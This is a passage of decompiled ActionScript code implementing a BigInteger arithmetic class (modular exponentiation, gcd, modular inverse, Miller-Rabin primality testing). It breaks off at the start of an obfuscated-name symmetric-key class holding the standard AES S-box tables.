            _local_2 = ((_local_2 * (2 - ((_local_1 * _local_2) % DV))) % DV);
            return ((((_local_2)>0) ? (DV - _local_2) : -(_local_2)));
        }
    
        bi_internal function isEven():Boolean
        {
            return (((((this.t)>0) ? (this.a[0] & 1) : this.s) == 0));
        }
    
        bi_internal function exp(_arg_1:int, _arg_2:IReduction):BigInteger
        {
            var _local_7:BigInteger;
            if ((((_arg_1 > 0xFFFFFFFF)) || ((_arg_1 < 1)))){
                return (ONE);
            };
            var _local_3:BigInteger = this.nbi();
            var _local_4:BigInteger = this.nbi();
            var _local_5:BigInteger = _arg_2.convert(this);
            var _local_6:int = (this.nbits(_arg_1) - 1);
            _local_5.copyTo(_local_3);
            while (--_local_6 >= 0) {
                _arg_2.sqrTo(_local_3, _local_4);
                if ((_arg_1 & (1 << _local_6)) > 0){
                    _arg_2.mulTo(_local_4, _local_5, _local_3);
                }
                else {
                    _local_7 = _local_3;
                    _local_3 = _local_4;
                    _local_4 = _local_7;
                };
            };
            return (_arg_2.revert(_local_3));
        }
    
        bi_internal function intAt(_arg_1:String, _arg_2:int):int
        {
            return (parseInt(_arg_1.charAt(_arg_2), 36));
        }
    
        protected function nbi()
        {
            return (new BigInteger());
        }
    
        public function clone():BigInteger
        {
            var _local_1:BigInteger = new BigInteger();
            this.copyTo(_local_1);
            return (_local_1);
        }
    
        public function intValue():int
        {
            if (this.s < 0){
                if (this.t == 1){
                    return ((this.a[0] - DV));
                };
                if (this.t == 0){
                    return (-1);
                };
            }
            else {
                if (this.t == 1){
                    return (this.a[0]);
                };
                if (this.t == 0){
                    return (0);
                };
            };
            return ((((this.a[1] & ((1 << (32 - DB)) - 1)) << DB) | this.a[0]));
        }
    
        public function byteValue():int
        {
            return ((((this.t)==0) ? this.s : ((this.a[0] << 24) >> 24)));
        }
    
        public function shortValue():int
        {
            return ((((this.t)==0) ? this.s : ((this.a[0] << 16) >> 16)));
        }
    
        protected function chunkSize(_arg_1:Number):int
        {
            return (Math.floor(((Math.LN2 * DB) / Math.log(_arg_1))));
        }
    
        public function sigNum():int
        {
            if (this.s < 0){
                return (-1);
            };
            if ((((this.t <= 0)) || ((((this.t == 1)) && ((this.a[0] <= 0)))))){
                return (0);
            };
            return (1);
        }
    
        protected function toRadix(_arg_1:uint=10):String
        {
            if ((((((this.sigNum() == 0)) || ((_arg_1 < 2)))) || ((_arg_1 > 32)))){
                return ("0");
            };
            var _local_2:int = this.chunkSize(_arg_1);
            var _local_3:Number = Math.pow(_arg_1, _local_2);
            var _local_4:BigInteger = nbv(_local_3);
            var _local_5:BigInteger = this.nbi();
            var _local_6:BigInteger = this.nbi();
            var _local_7 = "";
            this.divRemTo(_local_4, _local_5, _local_6);
            while (_local_5.sigNum() > 0) {
                _local_7 = ((_local_3 + _local_6.intValue()).toString(_arg_1).substr(1) + _local_7);
                _local_5.divRemTo(_local_4, _local_5, _local_6);
            };
            return ((_local_6.intValue().toString(_arg_1) + _local_7));
        }
    
        protected function fromRadix(_arg_1:String, _arg_2:int=10):void
        {
            var _local_9:int;
            this.fromInt(0);
            var _local_3:int = this.chunkSize(_arg_2);
            var _local_4:Number = Math.pow(_arg_2, _local_3);
            var _local_5:Boolean;
            var _local_6:int;
            var _local_7:int;
            var _local_8:int;
            while (_local_8 < _arg_1.length) {
                _local_9 = this.intAt(_arg_1, _local_8);
                if (_local_9 < 0){
                    if ((((_arg_1.charAt(_local_8) == "-")) && ((this.sigNum() == 0)))){
                        _local_5 = true;
                    };
                }
                else {
                    _local_7 = ((_arg_2 * _local_7) + _local_9);
                    if (++_local_6 >= _local_3){
                        this.dMultiply(_local_4);
                        this.dAddOffset(_local_7, 0);
                        _local_6 = 0;
                        _local_7 = 0;
                    };
                };
                _local_8++;
            };
            if (_local_6 > 0){
                this.dMultiply(Math.pow(_arg_2, _local_6));
                this.dAddOffset(_local_7, 0);
            };
            if (_local_5){
                BigInteger.ZERO.subTo(this, this);
            };
        }
    
        public function toByteArray():ByteArray
        {
            var _local_4:int;
            var _local_1:int = this.t;
            var _local_2:ByteArray = new ByteArray();
            _local_2[0] = this.s;
            var _local_3:int = (DB - ((_local_1 * DB) % 8));
            var _local_5:int;
            if (_local_1-- > 0){
                if ((((_local_3 < DB)) && (!(((_local_4 = (this.a[_local_1] >> _local_3)) == ((this.s & DM) >> _local_3)))))){
                    var _local_6 = _local_5++;
                    _local_2[_local_6] = (_local_4 | (this.s << (DB - _local_3)));
                };
                while (_local_1 >= 0) {
                    if (_local_3 < 8){
                        _local_4 = ((this.a[_local_1] & ((1 << _local_3) - 1)) << (8 - _local_3));
                        var _temp_1 = _local_4;
                        _local_3 = (_local_3 + (DB - 8));
                        _local_4 = (_temp_1 | (this.a[--_local_1] >> _local_3));
                    }
                    else {
                        _local_3 = (_local_3 - 8);
                        _local_4 = ((this.a[_local_1] >> _local_3) & 0xFF);
                        if (_local_3 <= 0){
                            _local_3 = (_local_3 + DB);
                            _local_1--;
                        };
                    };
                    if ((_local_4 & 128) != 0){
                        _local_4 = (_local_4 | -256);
                    };
                    if ((((_local_5 == 0)) && (!(((this.s & 128) == (_local_4 & 128)))))){
                        _local_5++;
                    };
                    if ((((_local_5 > 0)) || (!((_local_4 == this.s))))){
                        _local_6 = _local_5++;
                        _local_2[_local_6] = _local_4;
                    };
                };
            };
            return (_local_2);
        }
    
        public function equals(_arg_1:BigInteger):Boolean
        {
            return ((this.compareTo(_arg_1) == 0));
        }
    
        public function min(_arg_1:BigInteger):BigInteger
        {
            return ((((this.compareTo(_arg_1))<0) ? this : _arg_1));
        }
    
        public function max(_arg_1:BigInteger):BigInteger
        {
            return ((((this.compareTo(_arg_1))>0) ? this : _arg_1));
        }
    
        protected function bitwiseTo(_arg_1:BigInteger, _arg_2:Function, _arg_3:BigInteger):void
        {
            var _local_4:int;
            var _local_5:int;
            var _local_6:int = Math.min(_arg_1.t, this.t);
            _local_4 = 0;
            while (_local_4 < _local_6) {
                _arg_3.a[_local_4] = _arg_2(this.a[_local_4], _arg_1.a[_local_4]);
                _local_4++;
            };
            if (_arg_1.t < this.t){
                _local_5 = (_arg_1.s & DM);
                _local_4 = _local_6;
                while (_local_4 < this.t) {
                    _arg_3.a[_local_4] = _arg_2(this.a[_local_4], _local_5);
                    _local_4++;
                };
                _arg_3.t = this.t;
            }
            else {
                _local_5 = (this.s & DM);
                _local_4 = _local_6;
                while (_local_4 < _arg_1.t) {
                    _arg_3.a[_local_4] = _arg_2(_local_5, _arg_1.a[_local_4]);
                    _local_4++;
                };
                _arg_3.t = _arg_1.t;
            };
            _arg_3.s = _arg_2(this.s, _arg_1.s);
            _arg_3.clamp();
        }
    
        /*private*/ function op_and(_arg_1:int, _arg_2:int):int
        {
            return ((_arg_1 & _arg_2));
        }
    
        public function and(_arg_1:BigInteger):BigInteger
        {
            var _local_2:BigInteger = new BigInteger();
            this.bitwiseTo(_arg_1, this.op_and, _local_2);
            return (_local_2);
        }
    
        /*private*/ function op_or(_arg_1:int, _arg_2:int):int
        {
            return ((_arg_1 | _arg_2));
        }
    
        public function or(_arg_1:BigInteger):BigInteger
        {
            var _local_2:BigInteger = new BigInteger();
            this.bitwiseTo(_arg_1, this.op_or, _local_2);
            return (_local_2);
        }
    
        /*private*/ function op_xor(_arg_1:int, _arg_2:int):int
        {
            return ((_arg_1 ^ _arg_2));
        }
    
        public function xor(_arg_1:BigInteger):BigInteger
        {
            var _local_2:BigInteger = new BigInteger();
            this.bitwiseTo(_arg_1, this.op_xor, _local_2);
            return (_local_2);
        }
    
        /*private*/ function op_andnot(_arg_1:int, _arg_2:int):int
        {
            return ((_arg_1 & ~(_arg_2)));
        }
    
        public function andNot(_arg_1:BigInteger):BigInteger
        {
            var _local_2:BigInteger = new BigInteger();
            this.bitwiseTo(_arg_1, this.op_andnot, _local_2);
            return (_local_2);
        }
    
        public function not():BigInteger
        {
            var _local_1:BigInteger = new BigInteger();
            var _local_2:int;
            while (_local_2 < this.t) {
                _local_1[_local_2] = (DM & ~(this.a[_local_2]));
                _local_2++;
            };
            _local_1.t = this.t;
            _local_1.s = ~(this.s);
            return (_local_1);
        }
    
        public function shiftLeft(_arg_1:int):BigInteger
        {
            var _local_2:BigInteger = new BigInteger();
            if (_arg_1 < 0){
                this.rShiftTo(-(_arg_1), _local_2);
            }
            else {
                this.lShiftTo(_arg_1, _local_2);
            };
            return (_local_2);
        }
    
        public function shiftRight(_arg_1:int):BigInteger
        {
            var _local_2:BigInteger = new BigInteger();
            if (_arg_1 < 0){
                this.lShiftTo(-(_arg_1), _local_2);
            }
            else {
                this.rShiftTo(_arg_1, _local_2);
            };
            return (_local_2);
        }
    
        /*private*/ function lbit(_arg_1:int):int
        {
            if (_arg_1 == 0){
                return (-1);
            };
            var _local_2:int;
            if ((_arg_1 & 0xFFFF) == 0){
                _arg_1 = (_arg_1 >> 16);
                _local_2 = (_local_2 + 16);
            };
            if ((_arg_1 & 0xFF) == 0){
                _arg_1 = (_arg_1 >> 8);
                _local_2 = (_local_2 + 8);
            };
            if ((_arg_1 & 15) == 0){
                _arg_1 = (_arg_1 >> 4);
                _local_2 = (_local_2 + 4);
            };
            if ((_arg_1 & 3) == 0){
                _arg_1 = (_arg_1 >> 2);
                _local_2 = (_local_2 + 2);
            };
            if ((_arg_1 & 1) == 0){
                _local_2++;
            };
            return (_local_2);
        }
    
        public function getLowestSetBit():int
        {
            var _local_1:int;
            while (_local_1 < this.t) {
                if (this.a[_local_1] != 0){
                    return (((_local_1 * DB) + this.lbit(this.a[_local_1])));
                };
                _local_1++;
            };
            if (this.s < 0){
                return ((this.t * DB));
            };
            return (-1);
        }
    
        /*private*/ function cbit(_arg_1:int):int
        {
            var _local_2:uint;
            while (_arg_1 != 0) {
                _arg_1 = (_arg_1 & (_arg_1 - 1));
                _local_2++;
            };
            return (_local_2);
        }
    
        public function bitCount():int
        {
            var _local_1:int;
            var _local_2 = (this.s & DM);
            var _local_3:int;
            while (_local_3 < this.t) {
                _local_1 = (_local_1 + this.cbit((this.a[_local_3] ^ _local_2)));
                _local_3++;
            };
            return (_local_1);
        }
    
        public function testBit(_arg_1:int):Boolean
        {
            var _local_2:int = Math.floor((_arg_1 / DB));
            if (_local_2 >= this.t){
                return (!((this.s == 0)));
            };
            return (!(((this.a[_local_2] & (1 << (_arg_1 % DB))) == 0)));
        }
    
        protected function changeBit(_arg_1:int, _arg_2:Function):BigInteger
        {
            var _local_3:BigInteger = BigInteger.ONE.shiftLeft(_arg_1);
            this.bitwiseTo(_local_3, _arg_2, _local_3);
            return (_local_3);
        }
    
        public function setBit(_arg_1:int):BigInteger
        {
            return (this.changeBit(_arg_1, this.op_or));
        }
    
        public function clearBit(_arg_1:int):BigInteger
        {
            return (this.changeBit(_arg_1, this.op_andnot));
        }
    
        public function flipBit(_arg_1:int):BigInteger
        {
            return (this.changeBit(_arg_1, this.op_xor));
        }
    
        protected function addTo(_arg_1:BigInteger, _arg_2:BigInteger):void
        {
            var _local_3:int;
            var _local_4:int;
            var _local_5:int = Math.min(_arg_1.t, this.t);
            while (_local_3 < _local_5) {
                _local_4 = (_local_4 + (this.a[_local_3] + _arg_1.a[_local_3]));
                var _local_6 = _local_3++;
                _arg_2.a[_local_6] = (_local_4 & DM);
                _local_4 = (_local_4 >> DB);
            };
            if (_arg_1.t < this.t){
                _local_4 = (_local_4 + _arg_1.s);
                while (_local_3 < this.t) {
                    _local_4 = (_local_4 + this.a[_local_3]);
                    _local_6 = _local_3++;
                    _arg_2.a[_local_6] = (_local_4 & DM);
                    _local_4 = (_local_4 >> DB);
                };
                _local_4 = (_local_4 + this.s);
            }
            else {
                _local_4 = (_local_4 + this.s);
                while (_local_3 < _arg_1.t) {
                    _local_4 = (_local_4 + _arg_1.a[_local_3]);
                    _local_6 = _local_3++;
                    _arg_2.a[_local_6] = (_local_4 & DM);
                    _local_4 = (_local_4 >> DB);
                };
                _local_4 = (_local_4 + _arg_1.s);
            };
            _arg_2.s = (((_local_4)<0) ? -1 : 0);
            if (_local_4 > 0){
                _local_6 = _local_3++;
                _arg_2.a[_local_6] = _local_4;
            }
            else {
                if (_local_4 < -1){
                    _local_6 = _local_3++;
                    _arg_2.a[_local_6] = (DV + _local_4);
                };
            };
            _arg_2.t = _local_3;
            _arg_2.clamp();
        }
    
        public function add(_arg_1:BigInteger):BigInteger
        {
            var _local_2:BigInteger = new BigInteger();
            this.addTo(_arg_1, _local_2);
            return (_local_2);
        }
    
        public function subtract(_arg_1:BigInteger):BigInteger
        {
            var _local_2:BigInteger = new BigInteger();
            this.subTo(_arg_1, _local_2);
            return (_local_2);
        }
    
        public function multiply(_arg_1:BigInteger):BigInteger
        {
            var _local_2:BigInteger = new BigInteger();
            this.multiplyTo(_arg_1, _local_2);
            return (_local_2);
        }
    
        public function divide(_arg_1:BigInteger):BigInteger
        {
            var _local_2:BigInteger = new BigInteger();
            this.divRemTo(_arg_1, _local_2, null);
            return (_local_2);
        }
    
        public function remainder(_arg_1:BigInteger):BigInteger
        {
            var _local_2:BigInteger = new BigInteger();
            this.divRemTo(_arg_1, null, _local_2);
            return (_local_2);
        }
    
        public function divideAndRemainder(_arg_1:BigInteger):Array
        {
            var _local_2:BigInteger = new BigInteger();
            var _local_3:BigInteger = new BigInteger();
            this.divRemTo(_arg_1, _local_2, _local_3);
            return ([_local_2, _local_3]);
        }
    
        bi_internal function dMultiply(_arg_1:int):void
        {
            this.a[this.t] = this.am(0, (_arg_1 - 1), this, 0, 0, this.t);
            this.t++;
            this.clamp();
        }
    
        bi_internal function dAddOffset(_arg_1:int, _arg_2:int):void
        {
            while (this.t <= _arg_2) {
                var _local_3 = this.t++;
                this.a[_local_3] = 0;
            };
            this.a[_arg_2] = (this.a[_arg_2] + _arg_1);
            while (this.a[_arg_2] >= DV) {
                this.a[_arg_2] = (this.a[_arg_2] - DV);
                if (++_arg_2 >= this.t){
                    _local_3 = this.t++;
                    this.a[_local_3] = 0;
                };
                _local_3 = this.a;
                var _local_4 = _arg_2;
                var _local_5 = (_local_3[_local_4] + 1);
                _local_3[_local_4] = _local_5;
            };
        }
    
        public function pow(_arg_1:int):BigInteger
        {
            return (this.exp(_arg_1, new NullReduction()));
        }
    
        bi_internal function multiplyLowerTo(_arg_1:BigInteger, _arg_2:int, _arg_3:BigInteger):void
        {
            var _local_5:int;
            var _local_4:int = Math.min((this.t + _arg_1.t), _arg_2);
            _arg_3.s = 0;
            _arg_3.t = _local_4;
            while (_local_4 > 0) {
                var _local_6 = --_local_4;
                _arg_3.a[_local_6] = 0;
            };
            _local_5 = (_arg_3.t - this.t);
            while (_local_4 < _local_5) {
                _arg_3.a[(_local_4 + this.t)] = this.am(0, _arg_1.a[_local_4], _arg_3, _local_4, 0, this.t);
                _local_4++;
            };
            _local_5 = Math.min(_arg_1.t, _arg_2);
            while (_local_4 < _local_5) {
                this.am(0, _arg_1.a[_local_4], _arg_3, _local_4, 0, (_arg_2 - _local_4));
                _local_4++;
            };
            _arg_3.clamp();
        }
    
        bi_internal function multiplyUpperTo(_arg_1:BigInteger, _arg_2:int, _arg_3:BigInteger):void
        {
            _arg_2--;
            var _local_4:int = (_arg_3.t = ((this.t + _arg_1.t) - _arg_2));
            _arg_3.s = 0;
            while (--_local_4 >= 0) {
                _arg_3.a[_local_4] = 0;
            };
            _local_4 = Math.max((_arg_2 - this.t), 0);
            while (_local_4 < _arg_1.t) {
                _arg_3.a[((this.t + _local_4) - _arg_2)] = this.am((_arg_2 - _local_4), _arg_1.a[_local_4], _arg_3, 0, 0, ((this.t + _local_4) - _arg_2));
                _local_4++;
            };
            _arg_3.clamp();
            _arg_3.drShiftTo(1, _arg_3);
        }
    
        public function modPow(_arg_1:BigInteger, _arg_2:BigInteger):BigInteger
        {
            var _local_4:int;
            var _local_6:IReduction;
            var _local_12:int;
            var _local_15:BigInteger;
            var _local_16:BigInteger;
            var _local_3:int = _arg_1.bitLength();
            var _local_5:BigInteger = nbv(1);
            if (_local_3 <= 0){
                return (_local_5);
            };
            if (_local_3 < 18){
                _local_4 = 1;
            }
            else {
                if (_local_3 < 48){
                    _local_4 = 3;
                }
                else {
                    if (_local_3 < 144){
                        _local_4 = 4;
                    }
                    else {
                        if (_local_3 < 0x0300){
                            _local_4 = 5;
                        }
                        else {
                            _local_4 = 6;
                        };
                    };
                };
            };
            if (_local_3 < 8){
                _local_6 = new ClassicReduction(_arg_2);
            }
            else {
                if (_arg_2.isEven()){
                    _local_6 = new BarrettReduction(_arg_2);
                }
                else {
                    _local_6 = new MontgomeryReduction(_arg_2);
                };
            };
            var _local_7:Array = [];
            var _local_8:int = 3;
            var _local_9:int = (_local_4 - 1);
            var _local_10:int = ((1 << _local_4) - 1);
            _local_7[1] = _local_6.convert(this);
            if (_local_4 > 1){
                _local_16 = new BigInteger();
                _local_6.sqrTo(_local_7[1], _local_16);
                while (_local_8 <= _local_10) {
                    _local_7[_local_8] = new BigInteger();
                    _local_6.mulTo(_local_16, _local_7[(_local_8 - 2)], _local_7[_local_8]);
                    _local_8 = (_local_8 + 2);
                };
            };
            var _local_11:int = (_arg_1.t - 1);
            var _local_13:Boolean = true;
            var _local_14:BigInteger = new BigInteger();
            _local_3 = (this.nbits(_arg_1.a[_local_11]) - 1);
            while (_local_11 >= 0) {
                if (_local_3 >= _local_9){
                    _local_12 = ((_arg_1.a[_local_11] >> (_local_3 - _local_9)) & _local_10);
                }
                else {
                    _local_12 = ((_arg_1.a[_local_11] & ((1 << (_local_3 + 1)) - 1)) << (_local_9 - _local_3));
                    if (_local_11 > 0){
                        _local_12 = (_local_12 | (_arg_1.a[(_local_11 - 1)] >> ((DB + _local_3) - _local_9)));
                    };
                };
                _local_8 = _local_4;
                while ((_local_12 & 1) == 0) {
                    _local_12 = (_local_12 >> 1);
                    _local_8--;
                };
                _local_3 = (_local_3 - _local_8);
                if (_local_3 < 0){
                    _local_3 = (_local_3 + DB);
                    _local_11--;
                };
                if (_local_13){
                    _local_7[_local_12].copyTo(_local_5);
                    _local_13 = false;
                }
                else {
                    while (_local_8 > 1) {
                        _local_6.sqrTo(_local_5, _local_14);
                        _local_6.sqrTo(_local_14, _local_5);
                        _local_8 = (_local_8 - 2);
                    };
                    if (_local_8 > 0){
                        _local_6.sqrTo(_local_5, _local_14);
                    }
                    else {
                        _local_15 = _local_5;
                        _local_5 = _local_14;
                        _local_14 = _local_15;
                    };
                    _local_6.mulTo(_local_14, _local_7[_local_12], _local_5);
                };
                while ((((_local_11 >= 0)) && (((_arg_1.a[_local_11] & (1 << _local_3)) == 0)))) {
                    _local_6.sqrTo(_local_5, _local_14);
                    _local_15 = _local_5;
                    _local_5 = _local_14;
                    _local_14 = _local_15;
                    if (--_local_3 < 0){
                        _local_3 = (DB - 1);
                        _local_11--;
                    };
                };
            };
            return (_local_6.revert(_local_5));
        }
    
        public function gcd(_arg_1:BigInteger):BigInteger
        {
            var _local_6:BigInteger;
            var _local_2:BigInteger = (((this.s)<0) ? this.negate() : this.clone());
            var _local_3:BigInteger = (((_arg_1.s)<0) ? _arg_1.negate() : _arg_1.clone());
            if (_local_2.compareTo(_local_3) < 0){
                _local_6 = _local_2;
                _local_2 = _local_3;
                _local_3 = _local_6;
            };
            var _local_4:int = _local_2.getLowestSetBit();
            var _local_5:int = _local_3.getLowestSetBit();
            if (_local_5 < 0){
                return (_local_2);
            };
            if (_local_4 < _local_5){
                _local_5 = _local_4;
            };
            if (_local_5 > 0){
                _local_2.rShiftTo(_local_5, _local_2);
                _local_3.rShiftTo(_local_5, _local_3);
            };
            while (_local_2.sigNum() > 0) {
                _local_4 = _local_2.getLowestSetBit();
                if (_local_4 > 0){
                    _local_2.rShiftTo(_local_4, _local_2);
                };
                _local_4 = _local_3.getLowestSetBit();
                if (_local_4 > 0){
                    _local_3.rShiftTo(_local_4, _local_3);
                };
                if (_local_2.compareTo(_local_3) >= 0){
                    _local_2.subTo(_local_3, _local_2);
                    _local_2.rShiftTo(1, _local_2);
                }
                else {
                    _local_3.subTo(_local_2, _local_3);
                    _local_3.rShiftTo(1, _local_3);
                };
            };
            if (_local_5 > 0){
                _local_3.lShiftTo(_local_5, _local_3);
            };
            return (_local_3);
        }
    
        protected function modInt(_arg_1:int):int
        {
            var _local_4:int;
            if (_arg_1 <= 0){
                return (0);
            };
            var _local_2:int = (DV % _arg_1);
            var _local_3:int = (((this.s)<0) ? (_arg_1 - 1) : 0);
            if (this.t > 0){
                if (_local_2 == 0){
                    _local_3 = (this.a[0] % _arg_1);
                }
                else {
                    _local_4 = (this.t - 1);
                    while (_local_4 >= 0) {
                        _local_3 = (((_local_2 * _local_3) + this.a[_local_4]) % _arg_1);
                        _local_4--;
                    };
                };
            };
            return (_local_3);
        }
    
        public function modInverse(_arg_1:BigInteger):BigInteger
        {
            var _local_2:Boolean = _arg_1.isEven();
            if (((((this.isEven()) && (_local_2))) || ((_arg_1.sigNum() == 0)))){
                return (BigInteger.ZERO);
            };
            var _local_3:BigInteger = _arg_1.clone();
            var _local_4:BigInteger = this.clone();
            var _local_5:BigInteger = nbv(1);
            var _local_6:BigInteger = nbv(0);
            var _local_7:BigInteger = nbv(0);
            var _local_8:BigInteger = nbv(1);
            while (_local_3.sigNum() != 0) {
                while (_local_3.isEven()) {
                    _local_3.rShiftTo(1, _local_3);
                    if (_local_2){
                        if (((!(_local_5.isEven())) || (!(_local_6.isEven())))){
                            _local_5.addTo(this, _local_5);
                            _local_6.subTo(_arg_1, _local_6);
                        };
                        _local_5.rShiftTo(1, _local_5);
                    }
                    else {
                        if (!_local_6.isEven()){
                            _local_6.subTo(_arg_1, _local_6);
                        };
                    };
                    _local_6.rShiftTo(1, _local_6);
                };
                while (_local_4.isEven()) {
                    _local_4.rShiftTo(1, _local_4);
                    if (_local_2){
                        if (((!(_local_7.isEven())) || (!(_local_8.isEven())))){
                            _local_7.addTo(this, _local_7);
                            _local_8.subTo(_arg_1, _local_8);
                        };
                        _local_7.rShiftTo(1, _local_7);
                    }
                    else {
                        if (!_local_8.isEven()){
                            _local_8.subTo(_arg_1, _local_8);
                        };
                    };
                    _local_8.rShiftTo(1, _local_8);
                };
                if (_local_3.compareTo(_local_4) >= 0){
                    _local_3.subTo(_local_4, _local_3);
                    if (_local_2){
                        _local_5.subTo(_local_7, _local_5);
                    };
                    _local_6.subTo(_local_8, _local_6);
                }
                else {
                    _local_4.subTo(_local_3, _local_4);
                    if (_local_2){
                        _local_7.subTo(_local_5, _local_7);
                    };
                    _local_8.subTo(_local_6, _local_8);
                };
            };
            if (_local_4.compareTo(BigInteger.ONE) != 0){
                return (BigInteger.ZERO);
            };
            if (_local_8.compareTo(_arg_1) >= 0){
                return (_local_8.subtract(_arg_1));
            };
            if (_local_8.sigNum() < 0){
                _local_8.addTo(_arg_1, _local_8);
            }
            else {
                return (_local_8);
            };
            if (_local_8.sigNum() < 0){
                return (_local_8.add(_arg_1));
            };
            return (_local_8);
        }
    
        public function isProbablePrime(_arg_1:int):Boolean
        {
            var _local_2:int;
            var _local_4:int;
            var _local_5:int;
            var _local_3:BigInteger = this.abs();
            if ((((_local_3.t == 1)) && ((_local_3.a[0] <= lowprimes[(lowprimes.length - 1)])))){
                _local_2 = 0;
                while (_local_2 < lowprimes.length) {
                    if (_local_3[0] == lowprimes[_local_2]){
                        return (true);
                    };
                    _local_2++;
                };
                return (false);
            };
            if (_local_3.isEven()){
                return (false);
            };
            _local_2 = 1;
            while (_local_2 < lowprimes.length) {
                _local_4 = lowprimes[_local_2];
                _local_5 = (_local_2 + 1);
                while ((((_local_5 < lowprimes.length)) && ((_local_4 < lplim)))) {
                    _local_4 = (_local_4 * lowprimes[_local_5++]);
                };
                _local_4 = _local_3.modInt(_local_4);
                while (_local_2 < _local_5) {
                    if ((_local_4 % lowprimes[_local_2++]) == 0){
                        return (false);
                    };
                };
            };
            return (_local_3.millerRabin(_arg_1));
        }
    
        protected function millerRabin(_arg_1:int):Boolean
        {
            var _local_7:BigInteger;
            var _local_8:int;
            var _local_2:BigInteger = this.subtract(BigInteger.ONE);
            var _local_3:int = _local_2.getLowestSetBit();
            if (_local_3 <= 0){
                return (false);
            };
            var _local_4:BigInteger = _local_2.shiftRight(_local_3);
            _arg_1 = ((_arg_1 + 1) >> 1);
            if (_arg_1 > lowprimes.length){
                _arg_1 = lowprimes.length;
            };
            var _local_5:BigInteger = new BigInteger();
            var _local_6:int;
            while (_local_6 < _arg_1) {
                _local_5.fromInt(lowprimes[_local_6]);
                _local_7 = _local_5.modPow(_local_4, this);
                if (((!((_local_7.compareTo(BigInteger.ONE) == 0))) && (!((_local_7.compareTo(_local_2) == 0))))){
                    _local_8 = 1;
                    while ((((_local_8++ < _local_3)) && (!((_local_7.compareTo(_local_2) == 0))))) {
                        _local_7 = _local_7.modPowInt(2, this);
                        if (_local_7.compareTo(BigInteger.ONE) == 0){
                            return (false);
                        };
                    };
                    if (_local_7.compareTo(_local_2) != 0){
                        return (false);
                    };
                };
                _local_6++;
            };
            return (true);
        }
    
        public function primify(_arg_1:int, _arg_2:int):void
        {
            if (!this.testBit((_arg_1 - 1))){
                this.bitwiseTo(BigInteger.ONE.shiftLeft((_arg_1 - 1)), this.op_or, this);
            };
            if (this.isEven()){
                this.dAddOffset(1, 0);
            };
            while (!(this.isProbablePrime(_arg_2))) {
                this.dAddOffset(2, 0);
                while (this.bitLength() > _arg_1) {
                    this.subTo(BigInteger.ONE.shiftLeft((_arg_1 - 1)), this);
                };
            };
        }
    
    
    }
    class _SELMGXIGHEE implements ISymmetricKey 
    {
    
        /*private*/ static const Nb:uint = 4;
        /*private*/ static const _Sbox:Array = [99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 0xFF, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22];
        /*private*/ static const _InvSbox:Array = [82, 9, 106, 213, 48, 54, 165, 56, 191, 64, 163, 158, 129, 243, 215, 251, 124, 227, 57, 130, 155, 47, 0xFF, 135, 52, 142, 67, 68, 196, 222, 233, 203, 84, 123, 148, 50, 166, 194, 35, 61, 238, 76, 149, 11, 66, 250, 195, 78, 8, 46, 161, 102, 40, 217, 36, 178, 118, 91, 162, 73, 109, 139, 209, 37, 114, 248, 246, 100, 134, 104, 152, 22, 212, 164, 92, 204, 93, 101, 182, 146, 108, 112, 72, 80, 253, 237, 185, 218, 94, 21, 70, 87, 167, 141, 157, 132, 144, 216, 171, 0, 140, 188, 211, 10, 247, 228, 88, 5, 184, 179, 69, 6, 208, 44, 30, 143, 202, 63, 15, 2, 193, 175, 189, 3, 1, 19, 138, 107, 58, 145, 17, 65, 79, 103, 220, 234, 151, 242, 207, 206, 240, 180, 230, 115, 150, 172, 116, 34, 231, 173, 53, 133, 226, 249, 55, 232, 28, 117, 223, 110, 71, 241, 26, 113, 29, 41, 197, 137, 111, 183, 98, 14, 170, 24, 190, 27, 252, 86, 62, 75, 198, 210, 121, 32, 154, 219, 192, 254, 120, 205, 90, 244, 31, 221, 168, 51, 136, 7, 199, 49, 177, 18, 16, 89, 39, 128, 236, 95, 96, 81, 127, 169, 25, 181, 74, 13, 45, 229, 122, 159, 147, 201, 156, 239, 160, 224, 59, 77, 174, 42, 245, 176, 200, 235, 187, 60, 131, 83, 153, 97, 23, 43, 4, 126, 186, 119, 214, 38, 225, 105, 20, 99, 85, 33, 12, 125];
